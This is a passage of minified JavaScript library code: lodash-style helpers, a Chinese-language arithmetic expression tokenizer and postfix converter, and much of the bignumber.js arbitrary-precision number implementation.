r=-1,n=null==e?0:e.length,o=Array(n);++r<n;)o[r]=t(e[r],r,e);return o}var _arrayMap=arrayMap$1,_Symbol=_Symbol$3,arrayMap=_arrayMap,isArray$1=isArray_1,isSymbol$1=isSymbol_1,INFINITY$1=1/0,symbolProto=_Symbol?_Symbol.prototype:void 0,symbolToString=symbolProto?symbolProto.toString:void 0;function baseToString$1(e){if("string"==typeof e)return e;if(isArray$1(e))return arrayMap(e,baseToString$1)+"";if(isSymbol$1(e))return symbolToString?symbolToString.call(e):"";var t=e+"";return"0"==t&&1/e==-INFINITY$1?"-0":t}var _baseToString=baseToString$1,baseToString=_baseToString;function toString$1(e){return null==e?"":baseToString(e)}var toString_1=toString$1,isArray=isArray_1,isKey=_isKey,stringToPath=_stringToPath,toString=toString_1;function castPath$1(e,t){return isArray(e)?e:isKey(e,t)?[e]:stringToPath(toString(e))}var _castPath=castPath$1,isSymbol=isSymbol_1,INFINITY=1/0;function toKey$1(e){if("string"==typeof e||isSymbol(e))return e;var t=e+"";return"0"==t&&1/e==-INFINITY?"-0":t}var _toKey=toKey$1,castPath=_castPath,toKey=_toKey;function baseGet$1(e,t){for(var r=0,n=(t=castPath(t,e)).length;null!=e&&r<n;)e=e[toKey(t[r++])];return r&&r==n?e:void 0}var _baseGet=baseGet$1,baseGet=_baseGet;function get(e,t,r){var n=null==e?void 0:baseGet(e,t);return void 0===n?r:n}var get_1=get,get$1=getDefaultExportFromCjs(get_1);function parse_args(e){var t="",r=e[0],n=e[1],o={origin_expr:r,origin_fill_data:n,expr:"",fmt_tokens:null,options:null,fmt_err:!1,expr_err:!1};not_undefined(n)&&(o.options=n);var a=get$1(n,"_error",!1);if(0===e.length)throw new Error("至少传入一个参数");if("string"==typeof r){if(t=r,""===r.trim()||r.includes("NaN"))return o.expr_err=!0,o}else{if("number"!=typeof r){if(!0===a)return o.expr_err=!0,o;throw new Error("错误的第一个参数类型: ".concat(r," 类型为:").concat(_typeof(r)))}t=r.toString()}var i=t.split("|");if(o.expr=i[0],i.length>1){var s=i[1];if(""!==s.trim())try{o.fmt_tokens=fmt_tokenizer(s)}catch(e){return o.fmt_err=!0,o}}if(null!==o.options&&o.options._fmt){var c=[];try{c=fmt_tokenizer(o.options._fmt)}catch(e){return o.fmt_err=!0,o}if(null===o.fmt_tokens)o.fmt_tokens=c;else{var l=o.fmt_tokens.map((function(e){return e.type}));c.forEach((function(e){l.includes(e.type)||o.fmt_tokens.push(e)}))}}return o}var state={initial:"initial",number:"number",scientific:"scientific",operator:"operator",bracket:"bracket",var:"var"},signed="+-",operator="*/%",brackets="()";function tokenizer(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],r="".concat(e,",").concat(t);if(r in cache_tokens)return cache_tokens[r].last_time=(new Date).getTime(),cache_tokens[r].count++,cache_tokens[r].value;for(var n,o=state.initial,a=[],i=[],s=function(){a.push(n),e=e.slice(1)},c=function(e){i.push({type:e,value:a.join("")}),a.length=0},l=function(){e=e.slice(1)};e;)switch(n=e[0],o){case state.initial:if(signed.includes(n)){var u=i.at(-1);0===i.length||"operator"===u.type||"("===u?(o=state.number,s()):(o=state.operator,s())}else if(operator.includes(n))o=state.operator,s();else if(/\d/.test(n))o=state.number,s();else if(brackets.includes(n))o=state.bracket;else if(/[a-zA-Z_$]/.test(n))o=state.var,s();else{if(!/\s/.test(n))throw new Error("不识别的字符".concat(n));l()}break;case state.bracket:i.push({type:state.bracket,value:n}),l(),o=state.initial;break;case state.operator:var f=a.at(-1);"*"===n&&"*"===f&&s(),c(state.operator),o=state.initial;break;case state.number:if(/\d/.test(n))s();else if("."===n){if(0===a.length||a.includes("."))throw new Error("非法的小数部分".concat(a.join("")));s()}else"Ee".includes(n)?(o=state.scientific,s()):["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(n)||"space"===t&&/\S/.test(n)?s():(c(state.number),o=state.initial);break;case state.scientific:if(/\d/.test(n))s();else if(signed.includes(n)){var h=a.slice(1),p=a.at(-1);h.includes(n)||!/[Ee]/.test(p)?(c(state.scientific),o=state.initial):s()}else["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(n)||"space"===t&&/\S/.test(n)?s():(c(state.scientific),o=state.initial);break;case state.var:/[\w_.\[\]"']/.test(n)?s():(c(state.var),o=state.initial);break;default:throw new Error("状态错误")}return 0!==a.length&&(i.push({type:o,value:a.join("")}),a.length=0,o=state.initial),cache_tokens[r]={last_time:(new Date).getTime(),count:0,value:i},i}function fill_tokens(e,t,r){if(is_null(t))throw new Error("错误的填充数据:",t);for(var n=[],o=0;o<e.length;o++){var a=e[o];if("var"===a.type){if("undefined"===a.value||"NaN"===a.value)throw new Error("key不应该为:".concat(a.value));for(var i=null,s=0;s<t.length;s++){var c=t[s],l=get$1(c,a.value);if(void 0!==l){i=l;break}}if(null===i)throw new Error("token填充失败,请确认".concat(a,"存在"));if("string"==typeof i){if(""===i.trim())throw new Error("token填充失败,".concat(a.value,"值不可为空字符"));if([!0,"on","auto","space"].includes(r)){if(!RegexUnitNumber.test(i))throw new Error("token填充失败,".concat(a.value,"值:").concat(i,"为非法单位数字"))}else if(!is_str_number(i))throw new Error("token填充失败,".concat(a,"值:").concat(i,"为非法数字"))}i="string"!=typeof i?i.toString():i,n.push({type:"number",value:i})}else n.push(a)}return n}function token2postfix(e){for(var t=[],r=[],n=e.map((function(e){return e.value}));n.length>0;){var o=n.shift();if(is_operator(o))if("("===o)t.push(o);else if(")"===o){for(var a=t.pop();"("!==a&&t.length>0;)r.push(a),a=t.pop();if("("!==a)throw"error: unmatched ()"}else{for(;prioraty(o,t[t.length-1])&&t.length>0;)r.push(t.pop());t.push(o)}else r.push(o)}if(t.length>0){if(")"===t[t.length-1]||"("===t[t.length-1])throw"error: unmatched ()";for(;t.length>0;)r.push(t.pop())}return r}var isNumeric=/^-?(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?$/i,mathceil=Math.ceil,mathfloor=Math.floor,bignumberError="[BigNumber Error] ",tooManyDigits=bignumberError+"Number primitive has more than 15 significant digits: ",BASE=1e14,LOG_BASE=14,MAX_SAFE_INTEGER=9007199254740991,POWS_TEN=[1,10,100,1e3,1e4,1e5,1e6,1e7,1e8,1e9,1e10,1e11,1e12,1e13],SQRT_BASE=1e7,MAX=1e9;function clone(e){var t,r,n,o,a,i,s,c,l,u,f=O.prototype={constructor:O,toString:null,valueOf:null},h=new O(1),p=20,_=4,g=-7,m=21,d=-1e7,v=1e7,b=!1,y=1,w=0,S={prefix:"",groupSize:3,secondaryGroupSize:0,groupSeparator:",",decimalSeparator:".",fractionGroupSize:0,fractionGroupSeparator:" ",suffix:""},E="0123456789abcdefghijklmnopqrstuvwxyz",$=!0;function O(e,t){var o,a,i,s,c,l,u,f,h=this;if(!(h instanceof O))return new O(e,t);if(null==t){if(e&&!0===e._isBigNumber)return h.s=e.s,void(!e.c||e.e>v?h.c=h.e=null:e.e<d?h.c=[h.e=0]:(h.e=e.e,h.c=e.c.slice()));if((l="number"==typeof e)&&0*e==0){if(h.s=1/e<0?(e=-e,-1):1,e===~~e){for(s=0,c=e;c>=10;c/=10,s++);return void(s>v?h.c=h.e=null:(h.e=s,h.c=[e]))}f=String(e)}else{if(!isNumeric.test(f=String(e)))return n(h,f,l);h.s=45==f.charCodeAt(0)?(f=f.slice(1),-1):1}(s=f.indexOf("."))>-1&&(f=f.replace(".","")),(c=f.search(/e/i))>0?(s<0&&(s=c),s+=+f.slice(c+1),f=f.substring(0,c)):s<0&&(s=f.length)}else{if(intCheck(t,2,E.length,"Base"),10==t&&$)return k(h=new O(e),p+h.e+1,_);if(f=String(e),l="number"==typeof e){if(0*e!=0)return n(h,f,l,t);if(h.s=1/e<0?(f=f.slice(1),-1):1,O.DEBUG&&f.replace(/^0\.0*|\./,"").length>15)throw Error(tooManyDigits+e)}else h.s=45===f.charCodeAt(0)?(f=f.slice(1),-1):1;for(o=E.slice(0,t),s=c=0,u=f.length;c<u;c++)if(o.indexOf(a=f.charAt(c))<0){if("."==a){if(c>s){s=u;continue}}else if(!i&&(f==f.toUpperCase()&&(f=f.toLowerCase())||f==f.toLowerCase()&&(f=f.toUpperCase()))){i=!0,c=-1,s=0;continue}return n(h,String(e),l,t)}l=!1,(s=(f=r(f,t,10,h.s)).indexOf("."))>-1?f=f.replace(".",""):s=f.length}for(c=0;48===f.charCodeAt(c);c++);for(u=f.length;48===f.charCodeAt(--u););if(f=f.slice(c,++u)){if(u-=c,l&&O.DEBUG&&u>15&&(e>MAX_SAFE_INTEGER||e!==mathfloor(e)))throw Error(tooManyDigits+h.s*e);if((s=s-c-1)>v)h.c=h.e=null;else if(s<d)h.c=[h.e=0];else{if(h.e=s,h.c=[],c=(s+1)%LOG_BASE,s<0&&(c+=LOG_BASE),c<u){for(c&&h.c.push(+f.slice(0,c)),u-=LOG_BASE;c<u;)h.c.push(+f.slice(c,c+=LOG_BASE));c=LOG_BASE-(f=f.slice(c)).length}else c-=u;for(;c--;f+="0");h.c.push(+f)}}else h.c=[h.e=0]}function C(e,t,r,n){var o,a,i,s,c;if(null==r?r=_:intCheck(r,0,8),!e.c)return e.toString();if(o=e.c[0],i=e.e,null==t)c=coeffToString(e.c),c=1==n||2==n&&(i<=g||i>=m)?toExponential(c,i):toFixedPoint(c,i,"0");else if(a=(e=k(new O(e),t,r)).e,s=(c=coeffToString(e.c)).length,1==n||2==n&&(t<=a||a<=g)){for(;s<t;c+="0",s++);c=toExponential(c,a)}else if(t-=i,c=toFixedPoint(c,a,"0"),a+1>s){if(--t>0)for(c+=".";t--;c+="0");}else if((t+=a-s)>0)for(a+1==s&&(c+=".");t--;c+="0");return e.s<0&&o?"-"+c:c}function x(e,t){for(var r,n=1,o=new O(e[0]);n<e.length;n++){if(!(r=new O(e[n])).s){o=r;break}t.call(o,r)&&(o=r)}return o}function A(e,t,r){for(var n=1,o=t.length;!t[--o];t.pop());for(o=t[0];o>=10;o/=10,n++);return(r=n+r*LOG_BASE-1)>v?e.c=e.e=null:r<d?e.c=[e.e=0]:(e.e=r,e.c=t),e}function k(e,t,r,n){var o,a,i,s,c,l,u,f=e.c,h=POWS_TEN;if(f){e:{for(o=1,s=f[0];s>=10;s/=10,o++);if((a=t-o)<0)a+=LOG_BASE,i=t,u=(c=f[l=0])/h[o-i-1]%10|0;else if((l=mathceil((a+1)/LOG_BASE))>=f.length){if(!n)break e;for(;f.length<=l;f.push(0));c=u=0,o=1,i=(a%=LOG_BASE)-LOG_BASE+1}else{for(c=s=f[l],o=1;s>=10;s/=10,o++);u=(i=(a%=LOG_BASE)-LOG_BASE+o)<0?0:c/h[o-i-1]%10|0}if(n=n||t<0||null!=f[l+1]||(i<0?c:c%h[o-i-1]),n=r<4?(u||n)&&(0==r||r==(e.s<0?3:2)):u>5||5==u&&(4==r||n||6==r&&(a>0?i>0?c/h[o-i]:0:f[l-1])%10&1||r==(e.s<0?8:7)),t<1||!f[0])return f.length=0,n?(t-=e.e+1,f[0]=h[(LOG_BASE-t%LOG_BASE)%LOG_BASE],e.e=-t||0):f[0]=e.e=0,e;if(0==a?(f.length=l,s=1,l--):(f.length=l+1,s=h[LOG_BASE-a],f[l]=i>0?mathfloor(c/h[o-i]%h[i])*s:0),n)for(;;){if(0==l){for(a=1,i=f[0];i>=10;i/=10,a++);for(i=f[0]+=s,s=1;i>=10;i/=10,s++);a!=s&&(e.e++,f[0]==BASE&&(f[0]=1));break}if(f[l]+=s,f[l]!=BASE)break;f[l--]=0,s=1}for(a=f.length;0===f[--a];f.pop());}e.e>v?e.c=e.e=null:e.e<d&&(e.c=[e.e=0])}return e}function T(e){var t,r=e.e;return null===r?e.toString():(t=coeffToString(e.c),t=r<=g||r>=m?toExponential(t,r):toFixedPoint(t,r,"0"),e.s<0?"-"+t:t)}return O.clone=clone,O.ROUND_UP=0,O.ROUND_DOWN=1,O.ROUND_CEIL=2,O.ROUND_FLOOR=3,O.ROUND_HALF_UP=4,O.ROUND_HALF_DOWN=5,O.ROUND_HALF_EVEN=6,O.ROUND_HALF_CEIL=7,O.ROUND_HALF_FLOOR=8,O.EUCLID=9,O.config=O.set=function(e){var t,r;if(null!=e){if("object"!=_typeof(e))throw Error(bignumberError+"Object expected: "+e);if(e.hasOwnProperty(t="DECIMAL_PLACES")&&(intCheck(r=e[t],0,MAX,t),p=r),e.hasOwnProperty(t="ROUNDING_MODE")&&(intCheck(r=e[t],0,8,t),_=r),e.hasOwnProperty(t="EXPONENTIAL_AT")&&((r=e[t])&&r.pop?(intCheck(r[0],-MAX,0,t),intCheck(r[1],0,MAX,t),g=r[0],m=r[1]):(intCheck(r,-MAX,MAX,t),g=-(m=r<0?-r:r))),e.hasOwnProperty(t="RANGE"))if((r=e[t])&&r.pop)intCheck(r[0],-MAX,-1,t),intCheck(r[1],1,MAX,t),d=r[0],v=r[1];else{if(intCheck(r,-MAX,MAX,t),!r)throw Error(bignumberError+t+" cannot be zero: "+r);d=-(v=r<0?-r:r)}if(e.hasOwnProperty(t="CRYPTO")){if((r=e[t])!==!!r)throw Error(bignumberError+t+" not true or false: "+r);if(r){if("undefined"==typeof crypto||!crypto||!crypto.getRandomValues&&!crypto.randomBytes)throw b=!r,Error(bignumberError+"crypto unavailable");b=r}else b=r}if(e.hasOwnProperty(t="MODULO_MODE")&&(intCheck(r=e[t],0,9,t),y=r),e.hasOwnProperty(t="POW_PRECISION")&&(intCheck(r=e[t],0,MAX,t),w=r),e.hasOwnProperty(t="FORMAT")){if("object"!=_typeof(r=e[t]))throw Error(bignumberError+t+" not an object: "+r);S=r}if(e.hasOwnProperty(t="ALPHABET")){if("string"!=typeof(r=e[t])||/^.?$|[+\-.\s]|(.).*\1/.test(r))throw Error(bignumberError+t+" invalid: "+r);$="0123456789"==r.slice(0,10),E=r}}return{DECIMAL_PLACES:p,ROUNDING_MODE:_,EXPONENTIAL_AT:[g,m],RANGE:[d,v],CRYPTO:b,MODULO_MODE:y,POW_PRECISION:w,FORMAT:S,ALPHABET:E}},O.isBigNumber=function(e){if(!e||!0!==e._isBigNumber)return!1;if(!O.DEBUG)return!0;var t,r,n=e.c,o=e.e,a=e.s;e:if("[object Array]"=={}.toString.call(n)){if((1===a||-1===a)&&o>=-MAX&&o<=MAX&&o===mathfloor(o)){if(0===n[0]){if(0===o&&1===n.length)return!0;break e}if((t=(o+1)%LOG_BASE)<1&&(t+=LOG_BASE),String(n[0]).length==t){for(t=0;t<n.length;t++)if((r=n[t])<0||r>=BASE||r!==mathfloor(r))break e;if(0!==r)return!0}}}else if(null===n&&null===o&&(null===a||1===a||-1===a))return!0;throw Error(bignumberError+"Invalid BigNumber: "+e)},O.maximum=O.max=function(){return x(arguments,f.lt)},O.minimum=O.min=function(){return x(arguments,f.gt)},O.random=(o=9007199254740992,a=Math.random()*o&2097151?function(){return mathfloor(Math.random()*o)}:function(){return 8388608*(1073741824*Math.random()|0)+(8388608*Math.random()|0)},function(e){var t,r,n,o,i,s=0,c=[],l=new O(h);if(null==e?e=p:intCheck(e,0,MAX),o=mathceil(e/LOG_BASE),b)if(crypto.getRandomValues){for(t=crypto.getRandomValues(new Uint32Array(o*=2));s<o;)(i=131072*t[s]+(t[s+1]>>>11))>=9e15?(r=crypto.getRandomValues(new Uint32Array(2)),t[s]=r[0],t[s+1]=r[1]):(c.push(i%1e14),s+=2);s=o/2}else{if(!crypto.randomBytes)throw b=!1,Error(bignumberError+"crypto unavailable");for(t=crypto.randomBytes(o*=7);s<o;)(i=281474976710656*(31&t[s])+1099511627776*t[s+1]+4294967296*t[s+2]+16777216*t[s+3]+(t[s+4]<<16)+(t[s+5]<<8)+t[s+6])>=9e15?crypto.randomBytes(7).copy(t,s):(c.push(i%1e14),s+=7);s=o/7}if(!b)for(;s<o;)(i=a())<9e15&&(c[s++]=i%1e14);for(o=c[--s],e%=LOG_BASE,o&&e&&(i=POWS_TEN[LOG_BASE-e],c[s]=mathfloor(o/i)*i);0===c[s];c.pop(),s--);if(s<0)c=[n=0];else{for(n=-1;0===c[0];c.splice(0,1),n-=LOG_BASE);for(s=1,i=c[0];i>=10;i/=10,s++);s<LOG_BASE&&(n-=LOG_BASE-s)}return l.e=n,l.c=c,l}),O.sum=function(){for(var e=1,t=arguments,r=new O(t[0]);e<t.length;)r=r.plus(t[e++]);return r},r=function(){var e="0123456789";function r(e,t,r,n){for(var o,a,i=[0],s=0,c=e.length;s<c;){for(a=i.length;a--;i[a]*=t);for(i[0]+=n.indexOf(e.charAt(s++)),o=0;o<i.length;o++)i[o]>r-1&&(null==i[o+1]&&(i[o+1]=0),i[o+1]+=i[o]/r|0,i[o]%=r)}return i.reverse()}return function(n,o,a,i,s){var c,l,u,f,h,g,m,d,v=n.indexOf("."),b=p,y=_;for(v>=0&&(f=w,w=0,n=n.replace(".",""),g=(d=new O(o)).pow(n.length-v),w=f,d.c=r(toFixedPoint(coeffToString(g.c),g.e,"0"),10,a,e),d.e=d.c.length),u=f=(m=r(n,o,a,s?(c=E,e):(c=e,E))).length;0==m[--f];m.pop());if(!m[0])return c.charAt(0);if(v<0?--u:(g.c=m,g.e=u,g.s=i,m=(g=t(g,d,b,y,a)).c,h=g.r,u=g.e),v=m[l=u+b+1],f=a/2,h=h||l<0||null!=m[l+1],h=y<4?(null!=v||h)&&(0==y||y==(g.s<0?3:2)):v>f||v==f&&(4==y||h||6==y&&1&m[l-1]||y==(g.s<0?8:7)),l<1||!m[0])n=h?toFixedPoint(c.charAt(1),-b,c.charAt(0)):c.charAt(0);else{if(m.length=l,h)for(--a;++m[--l]>a;)m[l]=0,l||(++u,m=[1].concat(m));for(f=m.length;!m[--f];);for(v=0,n="";v<=f;n+=c.charAt(m[v++]));n=toFixedPoint(n,u,c.charAt(0))}return n}}(),t=function(){function e(e,t,r){var n,o,a,i,s=0,c=e.length,l=t%SQRT_BASE,u=t/SQRT_BASE|0;for(e=e.slice();c--;)s=((o=l*(a=e[c]%SQRT_BASE)+(n=u*a+(i=e[c]/SQRT_BASE|0)*l)%SQRT_BASE*SQRT_BASE+s)/r|0)+(n/SQRT_BASE|0)+u*i,e[c]=o%r;return s&&(e=[s].concat(e)),e}function t(e,t,r,n){var o,a;if(r!=n)a=r>n?1:-1;else for(o=a=0;o<r;o++)if(e[o]!=t[o]){a=e[o]>t[o]?1:-1;break}return a}function r(e,t,r,n){for(var o=0;r--;)e[r]-=o,o=e[r]<t[r]?1:0,e[r]=o*n+e[r]-t[r];for(;!e[0]&&e.length>1;e.splice(0,1));}return function(n,o,a,i,s){var c,l,u,f,h,p,_,g,m,d,v,b,y,w,S,E,$,C=n.s==o.s?1:-1,x=n.c,A=o.c;if(!(x&&x[0]&&A&&A[0]))return new O(n.s&&o.s&&(x?!A||x[0]!=A[0]:A)?x&&0==x[0]||!A?0*C:C/0:NaN);for(m=(g=new O(C)).c=[],C=a+(l=n.e-o.e)+1,s||(s=BASE,l=bitFloor(n.e/LOG_BASE)-bitFloor(o.e/LOG_BASE),C=C/LOG_BASE|0),u=0;A[u]==(x[u]||0);u++);if(A[u]>(x[u]||0)&&l--,C<0)m.push(1),f=!0;else{for(w=x.length,E=A.length,u=0,C+=2,(h=mathfloor(s/(A[0]+1)))>1&&(A=e(A,h,s),x=e(x,h,s),E=A.length,w=x.length),y=E,v=(d=x.slice(0,E)).length;v<E;d[v++]=0);$=A.slice(),$=[0].concat($),S=A[0],A[1]>=s/2&&S++;do{if(h=0,(c=t(A,d,E,v))<0){if(b=d[0],E!=v&&(b=b*s+(d[1]||0)),(h=mathfloor(b/S))>1)for(h>=s&&(h=s-1),_=(p=e(A,h,s)).length,v=d.length;1==t(p,d,_,v);)h--,r(p,E<_?$:A,_,s),_=p.length,c=1;else 0==h&&(c=h=1),_=(p=A.slice()).length;if(_<v&&(p=[0].concat(p)),r(d,p,v,s),v=d.length,-1==c)for(;t(A,d,E,v)<1;)h++,r(d,E<v?$:A,v,s),v=d.length}else 0===c&&(h++,d=[0]);m[u++]=h,d[0]?d[v++]=x[y]||0:(d=[x[y]],v=1)}while((y++<w||null!=d[0])&&C--);f=null!=d[0],m[0]||m.splice(0,1)}if(s==BASE){for(u=1,C=m[0];C>=10;C/=10,u++);k(g,a+(g.e=u+l*LOG_BASE-1)+1,i,f)}else g.e=l,g.r=+f;return g}}(),i=/^(-?)0([xbo])(?=\w[\w.]*$)/i,s=/^([^.]+)\.$/,c=/^\.([^.]+)$/,l=/^-?(Infinity|NaN)$/,u=/^\s*\+(?=[\w.])|^\s+|\s+$/g,n=function(e,t,r,n){var o,a=r?t:t.replace(u,"");if(l.test(a))e.s=isNaN(a)?null:a<0?-1:1;else{if(!r&&(a=a.replace(i,(function(e,t,r){return o="x"==(r=r.toLowerCase())?16:"b"==r?2:8,n&&n!=o?e:t})),n&&(o=n,a=a.replace(s,"$1").replace(c,"0.$1")),t!=a))return new O(a,o);if(O.DEBUG)throw Error(bignumberError+"Not a"+(n?" base "+n:"")+" number: "+t);e.s=null}e.c=e.e=null},f.absoluteValue=f.abs=function(){var e=new O(this);return e.s<0&&(e.s=1),e},f.comparedTo=function(e,t){return compare(this,new O(e,t))},f.decimalPlaces=f.dp=function(e,t){var r,n,o,a=this;if(null!=e)return intCheck(e,0,MAX),null==t?t=_:intCheck(t,0,8),k(new O(a),e+a.e+1,t);if(!(r=a.c))return null;if(n=((o=r.length-1)-bitFloor(this.e/LOG_BASE))*LOG_BASE,o=r[o])for(;o%10==0;o/=10,n--);return n<0&&(n=0),n},f.dividedBy=f.div=function(e,r){return t(this,new O(e,r),p,_)},f.dividedToIntegerBy=f.idiv=function(e,r){return t(this,new O(e,r),0,1)},f.exponentiatedBy=f.pow=function(e,t){var r,n,o,a,i,s,c,l,u=this;if((e=new O(e)).c&&!e.isInteger())throw Error(bignumberError+"Exponent not an integer: "+T(e));if(null!=t&&(t=new O(t)),i=e.e>14,!u.c||!u.c[0]||1==u.c[0]&&!u.e&&1==u.c.length||!e.c||!e.c[0])return l=new O(Math.pow(+T(u),i?e.s*(2-isOdd(e)):+T(e))),t?l.mod(t):l;if(s=e.s<0,t){if(t.c?!t.c[0]:!t.s)return new O(NaN);(n=!s&&u.isInteger()&&t.isInteger())&&(u=u.mod(t))}else{if(e.e>9&&(u.e>0||u.e<-1||(0==u.e?u.c[0]>1||i&&u.c[1]>=24e7:u.c[0]<8e13||i&&u.c[0]<=9999975e7)))return a=u.s<0&&isOdd(e)?-0:0,u.e>-1&&(a=1/a),new O(s?1/a:a);w&&(a=mathceil(w/LOG_BASE+2))}for(i?(r=new O(.5),s&&(e.s=1),c=isOdd(e)):c=(o=Math.abs(+T(e)))%2,l=new O(h);;){if(c){if(!(l=l.times(u)).c)break;a?l.c.length>a&&(l.c.length=a):n&&(l=l.mod(t))}if(o){if(0===(o=mathfloor(o/2)))break;c=o%2}else if(k(e=e.times(r),e.e+1,1),e.e>14)c=isOdd(e);else{if(0===(o=+T(e)))break;c=o%2}u=u.times(u),a?u.c&&u.c.length>a&&(u.c.length=a):n&&(u=u.mod(t))}return n?l:(s&&(l=h.div(l)),t?l.mod(t):a?k(l,w,_,undefined):l)},f.integerValue=function(e){var t=new O(this);return null==e?e=_:intCheck(e,0,8),k(t,t.e+1,e)},f.isEqualTo=f.eq=function(e,t){return 0===compare(this,new O(e,t))},f.isFinite=function(){return!!this.c},f.isGreaterThan=f.gt=function(e,t){return compare(this,new O(e,t))>0},f.isGreaterThanOrEqualTo=f.gte=function(e,t){return 1===(t=compare(this,new O(e,t)))||0===t},f.isInteger=function(){return!!this.c&&bitFloor(this.e/LOG_BASE)>this.c.length-2},f.isLessThan=f.lt=function(e,t){return compare(this,new O(e,t))<0},f.isLessThanOrEqualTo=f.lte=function(e,t){return-1===(t=compare(this,new O(e,t)))||0===t},f.isNaN=function(){return!this.s},f.isNegative=function(){return this.s<0},f.isPositive=function(){return this.s>0},f.isZero=function(){return!!this.c&&0==this.c[0]},f.minus=function(e,t){var r,n,o,a,i=this,s=i.s;if(t=(e=new O(e,t)).s,!s||!t)return new O(NaN);if(s!=t)return e.s=-t,i.plus(e);var c=i.e/LOG_BASE,l=e.e/LOG_BASE,u=i.c,f=e.c;if(!c||!l){if(!u||!f)return u?(e.s=-t,e):new O(f?i:NaN);if(!u[0]||!f[0])return f[0]?(e.s=-t,e):new O(u[0]?i:3==_?-0:0)}if(c=bitFloor(c),l=bitFloor(l),u=u.slice(),s=c-l){for((a=s<0)?(s=-s,o=u):(l=c,o=f),o.reverse(),t=s;t--;o.push(0));o.reverse()}else for(n=(a=(s=u.length)<(t=f.length))?s:t,s=t=0;t<n;t++)if(u[t]!=f[t]){a=u[t]<f[t];break}if(a&&(o=u,u=f,f=o,e.s=-e.s),(t=(n=f.length)-(r=u.length))>0)for(;t--;u[r++]=0);for(t=BASE-1;n>s;){if(u[--n]<f[n]){for(r=n;r&&!u[--r];u[r]=t);--u[r],u[n]+=BASE}u[n]-=f[n]}for(;0==u[0];u.splice(0,1),--l);return u[0]?A(e,u,l):(e.s=3==_?-1:1,e.c=[e.e=0],e)},f.modulo=f.mod=function(e,r){var n,o,a=this;return e=new O(e,r),!a.c||!e.s||e.c&&!e.c[0]?new O(NaN):!e.c||a.c&&!a.c[0]?new O(a):(9==y?(o=e.s,e.s=1,n=t(a,e,0,3),e.s=o,n.s*=o):n=t(a,e,0,y),(e=a.minus(n.times(e))).c[0]||1!=y||(e.s=a.s),e)},f.multipliedBy=f.times=function(e,t){var r,n,o,a,i,s,c,l,u,f,h,p,_,g,m,d=this,v=d.c,b=(e=new O(e,t)).c;if(!(v&&b&&v[0]&&b[0]))return!d.s||!e.s||v&&!v[0]&&!b||b&&!b[0]&&!v?e.c=e.e=e.s=null:(e.s*=d.s,v&&b?(e.c=[0],e.e=0):e.c=e.e=null),e;for(n=bitFloor(d.e/LOG_BASE)+bitFloor(e.e/LOG_BASE),e.s*=d.s,(c=v.length)<(f=b.length)&&(_=v,v=b,b=_,o=c,c=f,f=o),o=c+f,_=[];o--;_.push(0));for(g=BASE,m=SQRT_BASE,o=f;--o>=0;){for(r=0,h=b[o]%m,p=b[o]/m|0,a=o+(i=c);a>o;)r=((l=h*(l=v[--i]%m)+(s=p*l+(u=v[i]/m|0)*h)%m*m+_[a]+r)/g|0)+(s/m|0)+p*u,_[a--]=l%g;_[a]=r}return r?++n:_.splice(0,1),A(e,_,n)},f.negated=function(){var e=new O(this);return e.s=-e.s||null,e},f.plus=function(e,t){var r,n=this,o=n.s;if(t=(e=new O(e,t)).s,!o||!t)return new O(NaN);if(o!=t)return e.s=-t,n.minus(e);var a=n.e/LOG_BASE,i=e.e/LOG_BASE,s=n.c,c=e.c;if(!a||!i){if(!s||!c)return new O(o/0);if(!s[0]||!c[0])return c[0]?e:new O(s[0]?n:0*o)}if(a=bitFloor(a),i=bitFloor(i),s=s.slice(),o=a-i){for(o>0?(i=a,r=c):(o=-o,r=s),r.reverse();o--;r.push(0));r.reverse()}for((o=s.length)-(t=c.length)<0&&(r=c,c=s,s=r,t=o),o=0;t;)o=(s[--t]=s[t]+c[t]+o)/BASE|0,s[t]=BASE===s[t]?0:s[t]%BASE;return o&&(s=[o].concat(s),++i),A(e,s,i)},f.precision=f.sd=function(e,t){var r,n,o,a=this;if(null!=e&&e!==!!e)return intCheck(e,1,MAX),null==t?t=_:intCheck(t,0,8),k(new O(a),e,t);if(!(r=a.c))return null;if(n=(o=r.length-1)*LOG_BASE+1,o=r[o]){for(;o%10==0;o/=10,n--);for(o=r[0];o>=10;o/=10,n++);}return e&&a.e+1>n&&(n=a.e+1),n},f.shiftedBy=function(e){return intCheck(e,-MAX_SAFE_INTEGER,MAX_SAFE_INTEGER),this.times("1e"+e)},f.squareRoot=f.sqrt=function(){var e,r,n,o,a,i=this,s=i.c,c=i.s,l=i.e,u=p+4,f=new O("0.5");if(1!==c||!s||!s[0])return new O(!c||c<0&&(!s||s[0])?NaN:s?i:1/0);if(0==(c=Math.sqrt(+T(i)))||c==1/0?(((r=coeffToString(s)).length+l)%2==0&&(r+="0"),c=Math.sqrt(+r),l=bitFloor((l+1)/2)-(l<0||l%2),n=new O(r=c==1/0?"5e"+l:(r=c.toExponential()).slice(0,r.indexOf("e")+1)+l)):n=new O(c+""),n.c[0])for((c=(l=n.e)+u)<3&&(c=0);;)if(a=n,n=f.times(a.plus(t(i,a,u,1))),coeffToString(a.c).slice(0,c)===(r=coeffToString(n.c)).slice(0,c)){if(n.e<l&&--c,"9999"!=(r=r.slice(c-3,c+1))&&(o||"4999"!=r)){+r&&(+r.slice(1)||"5"!=r.charAt(0))||(k(n,n.e+p+2,1),e=!n.times(n).eq(i));break}if(!o&&(k(a,a.e+p+2,0),a.times(a).eq(i))){n=a;break}u+=4,c+=4,o=1}return k(n,n.e+p+1,_,e)},f.toExponential=function(e,t){return null!=e&&(intCheck(e,0,MAX),e++),C(this,e,t,1)},f.toFixed=function(e,t){return null!=e&&(intCheck(e,0,MAX),e=e+this.e+1),C(this,e,t)},f.toFormat=function(e,t,r){var n,o=this;if(null==r)null!=e&&t&&"object"==_typeof(t)?(r=t,t=null):e&&"object"==_typeof(e)?(r=e,e=t=null):r=S;else if("object"!=_typeof(r))throw Error(bignumberError+"Argument not an object: "+r);if(n=o.toFixed(e,t),o.c){var 